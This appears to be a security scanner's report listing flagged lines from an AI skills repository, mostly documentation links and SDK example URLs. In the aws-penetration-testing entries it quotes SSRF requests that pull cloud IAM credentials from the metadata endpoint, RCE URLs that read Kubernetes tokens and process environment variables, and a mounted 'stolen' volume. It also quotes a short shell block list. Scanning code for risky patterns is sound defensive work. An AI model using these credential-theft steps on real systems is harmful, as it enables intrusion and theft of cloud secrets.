  • Network accessline 1168
    - "3002:3002"     environment:       - MOCK_SERVER_URL=http://mock-api:3001
  • Network accessline 1169
    environment:       - MOCK_SERVER_URL=http://mock-api:3001     depends_on:
  • Network accessline 1170
    - MOCK_SERVER_URL=http://mock-api:3001
  • Network accessline 1274
    <head>     <title>Mock API Interactive Documentation</title>     <script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script>
  • Network accessline 1275
    <title>Mock API Interactive Documentation</title>     <script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script>     <link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist/swagger-ui.css">
  • Network accessline 1276
    <script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script>
  • Network accessline 1277
    <link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist/swagger-ui.css">

skills/app-builder/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash, Agent

skills/app-builder/templates/nextjs-saas/TEMPLATE.md

  • Access to secretsline 79
    [Credential-related source omitted]

skills/app-store-optimization/ab_test_planner.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/aso_scorer.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/competitor_analyzer.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/keyword_analyzer.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/launch_checklist.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/localization_helper.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/metadata_optimizer.py

  • Executable scriptline 1
    Executable file

skills/app-store-optimization/review_analyzer.py

  • Executable scriptline 1
    Executable file

skills/architecture-decision-records/SKILL.md

  • Network accessline 157
    - [PostgreSQL JSON Documentation](https://www.postgresql.org/docs/current/datatype-json.html)
  • Network accessline 158
    - [PostgreSQL Full Text Search](https://www.postgresql.org/docs/current/textsearch.html)
  • Network accessline 323
    - [Event Sourcing by Martin Fowler](https://martinfowler.com/eaaDev/EventSourcing.html)
  • Network accessline 324
    - [EventStoreDB Documentation](https://www.eventstore.com/docs)
  • Network accessline 440
    - [Documenting Architecture Decisions (Michael Nygard)](https://cognitect.com/blog/2011/11/15/documenting-architecture-decisions)
  • Network accessline 441
    - [MADR Template](https://adr.github.io/madr/)
  • Network accessline 442
    - [ADR GitHub Organization](https://adr.github.io/)
  • Network accessline 443
    - [adr-tools](https://github.com/npryce/adr-tools)

skills/architecture-patterns/resources/implementation-playbook.md

  • Access to secretsline 332
    [Credential-related source omitted]
  • Access to secretsline 334
    [Credential-related source omitted]

skills/asana-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/async-python-patterns/resources/implementation-playbook.md

  • Network accessline 64
    async def main():     result = await fetch_data("https://api.example.com")
  • Network accessline 65
    result = await fetch_data("https://api.example.com")
  • Network accessline 246
    print("\nFetching pages:")     async for page_data in fetch_pages("https://api.example.com/items", 3):
  • Network accessline 247
    async for page_data in fetch_pages("https://api.example.com/items", 3):
  • Network accessline 329
    async def main():     urls = [f"https://api.example.com/item/{i}" for i in range(20)]
  • Network accessline 330
    urls = [f"https://api.example.com/item/{i}" for i in range(20)]     results = await rate_limited_requests(urls, max_concurrent=3)     print(f"Completed {len(results)} requests")
  • Network accessline 390
    """Fetch single URL."""     try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response:
  • Network accessline 391
    try:         async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response:             text = await response.text()
  • Network accessline 392
    async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response:
  • Network accessline 402
    async def scrape_urls(urls: List[str]) -> List[Dict]:     """Scrape multiple URLs concurrently."""     async with aiohttp.ClientSession() as session:
  • Network accessline 403
    """Scrape multiple URLs concurrently."""     async with aiohttp.ClientSession() as session:         tasks = [fetch_url(session, url) for url in urls]
  • Network accessline 404
    async with aiohttp.ClientSession() as session:
  • Network accessline 409
    async def main():     urls = [         "https://httpbin.org/delay/1",
  • Network accessline 410
    urls = [         "https://httpbin.org/delay/1",         "https://httpbin.org/delay/2",
  • Network accessline 411
    "https://httpbin.org/delay/1",
  • Network accessline 412
    "https://httpbin.org/delay/2",
  • Network accessline 413
    "https://httpbin.org/status/404",
  • Network accessline 533
    async def with_connection_pool():     """Use connection pool for efficiency."""     connector = aiohttp.TCPConnector(limit=100, limit_per_host=10)
  • Network accessline 535
    connector = aiohttp.TCPConnector(limit=100, limit_per_host=10)
  • Network accessline 537
    async with aiohttp.ClientSession(connector=connector) as session:
  • Network accessline 538
    tasks = [session.get(f"https://api.example.com/item/{i}") for i in range(50)]
  • Network accessline 647
    async def test_async_function():     """Test async function."""     result = await fetch_data("https://api.example.com")
  • Network accessline 648
    """Test async function."""     result = await fetch_data("https://api.example.com")     assert result is not None
  • Network accessline 649
    result = await fetch_data("https://api.example.com")
  • Network accessline 661
    - **Python asyncio documentation**: https://docs.python.org/3/library/asyncio.html - **aiohttp**: Async HTTP client/server

skills/attack-tree-construction/resources/implementation-playbook.md

  • Network accessline 669
    - [Attack Trees by Bruce Schneier](https://www.schneier.com/academic/archives/1999/12/attack_trees.html)
  • Network accessline 670
    - [MITRE ATT&CK Framework](https://attack.mitre.org/)
  • Network accessline 671
    - [OWASP Attack Surface Analysis](https://owasp.org/www-community/controls/Attack_Surface_Analysis_Cheat_Sheet)

skills/audio-transcriber/CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 6
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

skills/audio-transcriber/README.md

  • Network accessline 73
    # Follow: https://docs.anthropic.com/en/docs/claude-cli
  • Network accessline 333
    Found a bug or have a feature request?   Open an issue in the [cli-ai-skills repository](https://github.com/yourusername/cli-ai-skills).
  • Network accessline 334
    Open an issue in the [cli-ai-skills repository](https://github.com/yourusername/cli-ai-skills).

skills/audio-transcriber/SKILL.md

  • Network accessline 130
    1. **Accept file path or URL** from user:    - Local file: `meeting.mp3`    - URL: `https://example.com/audio.mp3` (download to temp directory)
  • Network accessline 132
    - URL: `https://example.com/audio.mp3` (download to temp directory)

skills/audio-transcriber/examples/basic-transcription.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 236
    rm -f "$TEMP_JSON"

skills/audio-transcriber/references/tools-comparison.md

  • Access to secretsline 218
    [Credential-related source omitted]
  • Access to secretsline 228
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]
  • Access to secretsline 277
    [Credential-related source omitted]
  • Access to secretsline 285
    [Credential-related source omitted]

skills/audio-transcriber/scripts/install-requirements.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 60
    else         echo -e "${YELLOW}⚠<U+FE0F>  Homebrew not found. Install manually if needed:${NC}"         echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
  • Network accessline 61
    echo -e "${YELLOW}⚠<U+FE0F>  Homebrew not found. Install manually if needed:${NC}"         echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""     fi
  • Network accessline 62
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
  • Dangerous shell operationline 130
    echo "  sudo apt install ffmpeg  # Debian/Ubuntu"
  • Dangerous shell operationline 131
    echo "  sudo yum install ffmpeg  # CentOS/RHEL"

skills/audio-transcriber/scripts/transcribe.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/auth-implementation-patterns/resources/implementation-playbook.md

  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 290
    [Credential-related source omitted]

skills/automate-whatsapp/SKILL.md

  • Network accessline 2
    name: automate-whatsapp description: "Build WhatsApp automations with Kapso workflows: configure WhatsApp triggers, edit workflow graphs, manage executions, deploy functions, and use databases/integrations for state. Use when automatin..." 
  • Network accessline 3
    description: "Build WhatsApp automations with Kapso workflows: configure WhatsApp triggers, edit workflow graphs, manage executions, deploy functions, and use databases/integrations for state. Use when automatin..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/gokapso/agent-skills/tree/master/skills/automate-whatsapp"
  • Access to secretsline 18
    [Credential-related source omitted]

skills/autonomous-agent-patterns/SKILL.md

  • Network accessline 10
    > Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex).
  • Dangerous shell operationline 351
    if any(danger in cmd for danger in ["rm -rf", "sudo", "chmod"]):
  • Access to secretsline 399
    [Credential-related source omitted]
  • Network accessline 589
    def add_url(self, url: str) -> None:         """@url - Fetch and add URL content"""         response = requests.get(url)
  • Network accessline 590
    """@url - Fetch and add URL content"""         response = requests.get(url)         content = html_to_markdown(response.text)
  • Network accessline 591
    response = requests.get(url)
  • Network accessline 760
    - [Cline](https://github.com/cline/cline)
  • Network accessline 761
    - [OpenAI Codex](https://github.com/openai/codex)
  • Network accessline 762
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 763
    - [Anthropic Tool Use](https://docs.anthropic.com/claude/docs/tool-use)

skills/avalonia-layout-zafiro/icons.md

  • Network accessline 42
    <ResourceDictionary xmlns="https://github.com/avaloniaui">

skills/aws-penetration-testing/SKILL.md

  • Network accessline 37
    | Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
  • Network accessline 38
    |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` |
  • Network accessline 39
    | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
  • Network accessline 41
    | Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
  • Network accessline 42
    | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` |
  • Network accessline 43
    | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
  • Network accessline 97
    # Access metadata endpoint http://169.254.169.254/latest/meta-data/
  • Network accessline 98
    http://169.254.169.254/latest/meta-data/
  • Network accessline 100
    # Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 101
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 103
    # Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  • Network accessline 104
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  • Network accessline 118
    [Credential-related source omitted]
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 120
    "http://169.254.169.254/latest/api/token")
  • Network accessline 122
    [Credential-related source omitted]
  • Network accessline 123
    [Credential-related source omitted]
  • Network accessline 124
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  • Network accessline 134
    # Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
  • Network accessline 135
    http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
  • Network accessline 209
    # Common bucket URL patterns https://{bucket-name}.s3.amazonaws.com
  • Network accessline 210
    https://{bucket-name}.s3.amazonaws.com
  • Network accessline 211
    https://s3.amazonaws.com/{bucket-name}
  • Network accessline 230
    https://buckets.grayhatwarfare.com/
  • Dangerous shell operationline 286
    sudo mkdir /mnt/stolen
  • Dangerous shell operationline 287
    sudo mount /dev/xvdf1 /mnt/stolen
  • Network accessline 308
    git clone https://github.com/NetSPI/aws_consoler
  • Network accessline 345
    | List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 347
    | Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 375
    # 1. Find SSRF vulnerability in web app https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 376
    https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 378
    # 2. Get role name from response # 3. Extract credentials https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
  • Network accessline 380
    https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
  • Access to secretsline 384
    [Credential-related source omitted]
  • Access to secretsline 385
    [Credential-related source omitted]

skills/aws-penetration-testing/references/advanced-aws-pentesting.md

  • Network accessline 40
    git clone https://github.com/duo-labs/cloudmapper.git
  • Network accessline 61
    git clone https://github.com/nccgroup/s3_objects_check
  • Network accessline 67
    # Finds secrets exposed via Amazon EBS's "public" mode git clone https://github.com/BishopFox/dufflebag
  • Network accessline 68
    git clone https://github.com/BishopFox/dufflebag
  • Network accessline 108
    # Get function details and download code aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query"
  • Network accessline 110
    wget -O lambda-function.zip "url-from-previous-query"
  • Network accessline 148
    # Via RCE - get environment variables https://apigateway/prod/system?cmd=env
  • Network accessline 149
    https://apigateway/prod/system?cmd=env
  • Network accessline 151
    # Via SSRF - access runtime API https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
  • Network accessline 152
    https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
  • Network accessline 154
    # Via file read https://apigateway/prod/system?cmd=file:///proc/self/environ
  • Network accessline 155
    https://apigateway/prod/system?cmd=file:///proc/self/environ
  • Network accessline 182
    # Invoke backdoored function curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
  • Network accessline 183
    curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
  • Network accessline 312
    # List Kubernetes secrets https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
  • Network accessline 313
    https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
  • Network accessline 315
    # Get service account token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
  • Network accessline 316
    https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token

skills/aws-serverless/SKILL.md

  • Access to secretsline 95
    [Credential-related source omitted]
  • Network accessline 182
    Outputs:   ApiUrl:     Value: !Sub "https://${HttpApi}.execute-api.${AWS::Region}.amazonaws.com/prod"
  • Network accessline 184
    Value: !Sub "https://${HttpApi}.execute-api.${AWS::Region}.amazonaws.com/prod"

skills/aws-skills/SKILL.md

  • Network accessline 2
    name: aws-skills description: "AWS development with infrastructure automation and cloud architecture patterns" source: "https://github.com/zxkane/aws-skills"
  • Network accessline 3
    description: "AWS development with infrastructure automation and cloud architecture patterns" source: "https://github.com/zxkane/aws-skills" risk: safe
  • Network accessline 4
    source: "https://github.com/zxkane/aws-skills"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/zxkane/aws-skills).

skills/azd-deployment/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Network accessline 145
    # Set for current environment azd env set AZURE_OPENAI_ENDPOINT "https://my-openai.openai.azure.com"
  • Network accessline 146
    azd env set AZURE_OPENAI_ENDPOINT "https://my-openai.openai.azure.com"
  • Network accessline 147
    azd env set AZURE_SEARCH_ENDPOINT "https://my-search.search.windows.net"
  • Access to secretsline 157
    [Credential-related source omitted]
  • Network accessline 215
    {     name: 'BACKEND_URL'     value: 'http://ca-backend-${resourceToken}'  // Internal DNS
  • Network accessline 216
    name: 'BACKEND_URL'     value: 'http://ca-backend-${resourceToken}'  // Internal DNS   }
  • Network accessline 217
    value: 'http://ca-backend-${resourceToken}'  // Internal DNS
  • Access to secretsline 295
    [Credential-related source omitted]

skills/azure-ai-agents-persistent-dotnet/SKILL.md

  • Network accessline 346
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent |
  • Network accessline 347
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.agents.persistent |
  • Network accessline 348
    | NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent |
  • Network accessline 349
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.agents.persistent |
  • Network accessline 350
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Agents.Persistent |
  • Network accessline 351
    | Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Agents.Persistent/samples |

skills/azure-ai-agents-persistent-java/SKILL.md

  • Network accessline 136
    | Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent |
  • Network accessline 137
    |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent | | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-agents-persistent |
  • Network accessline 138
    | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent |
  • Network accessline 139
    | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-agents-persistent |

skills/azure-ai-anomalydetector-java/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 139
    // Prepare training request with blob storage data ModelInfo modelInfo = new ModelInfo()     .setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken")
  • Network accessline 140
    ModelInfo modelInfo = new ModelInfo()     .setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken")     .setStartTime(OffsetDateTime.parse("2023-01-01T00:00:00Z"))
  • Network accessline 141
    .setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken")
  • Network accessline 161
    MultivariateBatchDetectionOptions detectionOptions = new MultivariateBatchDetectionOptions()     .setDataSource("https://storage.blob.core.windows.net/container/inference-data.zip?sasToken")
  • Network accessline 162
    .setDataSource("https://storage.blob.core.windows.net/container/inference-data.zip?sasToken")
  • Access to secretsline 239
    [Credential-related source omitted]

skills/azure-ai-contentsafety-java/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]
  • Network accessline 147
    ContentSafetyImageData imageData = new ContentSafetyImageData()     .setBlobUrl("https://example.com/image.jpg");
  • Network accessline 148
    .setBlobUrl("https://example.com/image.jpg");

skills/azure-ai-contentsafety-py/SKILL.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 105
    request = AnalyzeImageOptions(     image=ImageData(blob_url="https://example.com/image.jpg")
  • Network accessline 106
    image=ImageData(blob_url="https://example.com/image.jpg")

skills/azure-ai-contentsafety-ts/SKILL.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 104
    const result = await client.path("/image:analyze").post({   body: {     image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" }
  • Network accessline 105
    body: {     image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" }   }
  • Network accessline 106
    image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" }

skills/azure-ai-contentunderstanding-py/SKILL.md

  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 72
    poller = client.begin_analyze(     analyzer_id="prebuilt-documentSearch",     inputs=[AnalyzeInput(url="https://example.com/document.pdf")]
  • Network accessline 73
    analyzer_id="prebuilt-documentSearch",     inputs=[AnalyzeInput(url="https://example.com/document.pdf")] )
  • Network accessline 74
    inputs=[AnalyzeInput(url="https://example.com/document.pdf")]
  • Network accessline 100
    poller = client.begin_analyze(     analyzer_id="prebuilt-imageSearch",     inputs=[AnalyzeInput(url="https://example.com/image.jpg")]
  • Network accessline 101
    analyzer_id="prebuilt-imageSearch",     inputs=[AnalyzeInput(url="https://example.com/image.jpg")] )
  • Network accessline 102
    inputs=[AnalyzeInput(url="https://example.com/image.jpg")]
  • Network accessline 114
    poller = client.begin_analyze(     analyzer_id="prebuilt-videoSearch",     inputs=[AnalyzeInput(url="https://example.com/video.mp4")]
  • Network accessline 115
    analyzer_id="prebuilt-videoSearch",     inputs=[AnalyzeInput(url="https://example.com/video.mp4")] )
  • Network accessline 116
    inputs=[AnalyzeInput(url="https://example.com/video.mp4")]
  • Network accessline 138
    poller = client.begin_analyze(     analyzer_id="prebuilt-audioSearch",     inputs=[AnalyzeInput(url="https://example.com/audio.mp3")]
  • Network accessline 139
    analyzer_id="prebuilt-audioSearch",     inputs=[AnalyzeInput(url="https://example.com/audio.mp3")] )
  • Network accessline 140
    inputs=[AnalyzeInput(url="https://example.com/audio.mp3")]
  • Network accessline 184
    poller = client.begin_analyze(     analyzer_id="my-invoice-analyzer",     inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")]
  • Network accessline 185
    analyzer_id="my-invoice-analyzer",     inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")] )
  • Network accessline 186
    inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Network accessline 228
    poller = await client.begin_analyze(             analyzer_id="prebuilt-documentSearch",             inputs=[AnalyzeInput(url="https://example.com/doc.pdf")]
  • Network accessline 229
    analyzer_id="prebuilt-documentSearch",             inputs=[AnalyzeInput(url="https://example.com/doc.pdf")]         )
  • Network accessline 230
    inputs=[AnalyzeInput(url="https://example.com/doc.pdf")]

skills/azure-ai-document-intelligence-dotnet/SKILL.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 81
    Uri invoiceUri = new Uri("https://example.com/invoice.pdf");
  • Network accessline 123
    Uri fileUri = new Uri("https://example.com/document.pdf");
  • Network accessline 237
    string classifierId = "my-classifier"; Uri documentUri = new Uri("https://example.com/document.pdf");
  • Network accessline 238
    Uri documentUri = new Uri("https://example.com/document.pdf");
  • Network accessline 333
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence |
  • Network accessline 334
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.documentintelligence |
  • Network accessline 335
    | NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence |
  • Network accessline 336
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.documentintelligence |
  • Network accessline 337
    | GitHub Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/documentintelligence/Azure.AI.DocumentIntelligence/samples |
  • Network accessline 338
    | Document Intelligence Studio | https://documentintelligence.ai.azure.com/ |
  • Network accessline 339
    | Prebuilt Models | https://aka.ms/azsdk/formrecognizer/models |

skills/azure-ai-document-intelligence-ts/SKILL.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 65
    contentType: "application/json",     body: {       urlSource: "https://example.com/document.pdf"
  • Network accessline 66
    body: {       urlSource: "https://example.com/document.pdf"     },
  • Network accessline 67
    urlSource: "https://example.com/document.pdf"

skills/azure-ai-formrecognizer-java/SKILL.md

  • Network accessline 130
    String documentUrl = "https://example.com/invoice.pdf";

skills/azure-ai-ml-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]

skills/azure-ai-openai-dotnet/SKILL.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 78
    BearerTokenPolicy tokenPolicy = new(     new DefaultAzureCredential(),     "https://cognitiveservices.azure.com/.default");
  • Network accessline 80
    "https://cognitiveservices.azure.com/.default");
  • Network accessline 85
    options: new OpenAIClientOptions()     {         Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1")
  • Network accessline 86
    {         Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1")     });
  • Network accessline 87
    Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1")
  • Network accessline 451
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI |
  • Network accessline 452
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.openai |
  • Network accessline 453
    | NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI |
  • Network accessline 454
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.openai |
  • Network accessline 455
    | Migration Guide (1.0→2.0) | https://learn.microsoft.com/azure/ai-services/openai/how-to/dotnet-migration |
  • Network accessline 456
    | Quickstart | https://learn.microsoft.com/azure/ai-services/openai/quickstart |
  • Network accessline 457
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/openai/Azure.AI.OpenAI |

skills/azure-ai-projects-dotnet/SKILL.md

  • Network accessline 273
    uri = new Uri($"https://{uri.Host}");
  • Network accessline 345
    | Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects |
  • Network accessline 346
    |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.projects |
  • Network accessline 347
    | NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects |
  • Network accessline 348
    | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.projects |
  • Network accessline 349
    | GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Projects |
  • Network accessline 350
    | Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Projects/samples |

skills/azure-ai-projects-java/SKILL.md

  • Network accessline 149
    | Resource | URL | |----------|-----| | Product Docs | https://learn.microsoft.com/azure/ai-studio/ |
  • Network accessline 150
    |----------|-----| | Product Docs | https://learn.microsoft.com/azure/ai-studio/ | | API Reference | https://learn.microsoft.com/rest/api/aifoundry/aiprojects/ |
  • Network accessline 151
    | Product Docs | https://learn.microsoft.com/azure/ai-studio/ |
  • Network accessline 152
    | API Reference | https://learn.microsoft.com/rest/api/aifoundry/aiprojects/ |
  • Network accessline 153
    | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-projects |
  • Network accessline 154
    | Samples | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-projects/src/samples |

skills/azure-ai-projects-py/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]

skills/azure-ai-projects-ts/SKILL.md

  • Network accessline 152
    type: "mcp",     server_label: "my-mcp",     server_url: "https://mcp-server.example.com",
  • Network accessline 153
    server_label: "my-mcp",     server_url: "https://mcp-server.example.com",     require_approval: "always"
  • Network accessline 154
    server_url: "https://mcp-server.example.com",

skills/azure-ai-textanalytics-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

skills/azure-ai-transcription-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]

skills/azure-ai-translation-document-py/SKILL.md

  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]

skills/azure-ai-translation-text-py/SKILL.md

  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 40
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]

skills/azure-ai-translation-ts/SKILL.md

  • Network accessline 26
    TRANSLATOR_ENDPOINT=https://api.cognitive.microsofttranslator.com
  • Access to secretsline 40
    [Credential-related source omitted]

skills/azure-ai-vision-imageanalysis-java/SKILL.md

  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 101
    ImageAnalysisResult result = client.analyzeFromUrl(     "https://example.com/image.jpg",
  • Network accessline 102
    "https://example.com/image.jpg",
  • Network accessline 281
    Caption and Dense Captions require GPU-supported regions. Check [supported regions](https://learn.microsoft.com/azure/ai-services/computer-vision/concept-describe-images-40) before deployment.

skills/azure-ai-vision-imageanalysis-py/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
